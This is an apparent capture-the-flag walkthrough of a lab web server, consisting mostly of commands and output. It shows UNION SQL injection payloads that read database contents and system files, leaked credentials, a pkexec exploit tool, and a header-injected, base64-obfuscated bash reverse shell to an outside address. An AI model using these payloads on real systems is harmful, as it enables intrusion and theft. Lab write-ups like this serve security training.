Information Gathering

$ ip='10.10.11.128'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQLI

player=' union select 9;--+-

player=' union select group_concat(schema_name) from information_schema.schemata;--+-

player=' union select group_concat(table_name) from information_schema.columns where table_schema='november';--+-

player=' union select group_concat(one) from november.flag;--+-

UHC{F1rst_5tep_2_Qualify}

http://10.10.11.128/challenge.php

player=' union select group_concat(player) from november.players;--+-

ippsec,celesian,big0us,luska,tinyboy

player=' union select load_file('/etc/passwd');--+-

player=' union select load_file('/var/www/html/index.php');--+-

player=' union select load_file('/var/www/html/config.php');--+-

username:uhc
password:uhc-11qual-global-pw

User.txt

1618310a48daa65a153e7ca160f99720

TRP00F

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.33 --lport 10000 --rhost 10.10.16.33 --rport 10032 --http 9999

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y

Privilege Escalation:Command Injection && sudo

$ curl -X GET "http://10.10.11.128/firewall.php" \
-H "Host: 10.10.11.128" \
-H "Cache-Control: max-age=0" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Referer: http://10.10.11.128/challenge.php" \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Cookie: PHPSESSID=34m0q9j1uck8sv7cbstv0vpu6p" \
-H "Connection: close" \
-H "X-Forwarded-For: 1.1.1.1;echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMzLzQ0MyAwPiYx|base64 -d |bash;"

$ sudo su

Root.txt

c6c82ef44b36fad95d3711546e31d86a

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）